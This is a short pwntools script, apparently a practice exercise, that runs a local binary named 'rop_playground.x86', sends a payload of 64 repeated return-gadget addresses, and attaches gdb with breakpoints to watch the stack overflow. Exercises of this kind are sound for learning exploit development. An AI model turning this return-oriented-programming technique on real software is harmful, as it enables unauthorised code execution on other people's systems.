doit.py

from pwn import *

context( 
        terminal = ["urxvt", "--hold", "-e", "bash", "-c"])

p = process("rop_playground.x86")

ret = 0x0804835e

pay = ""
pay += p32(ret) * 64

gdb.attach(p, """
b *0x0804835e
b *0x80485fe""")

p.sendline(pay)
p.interactive()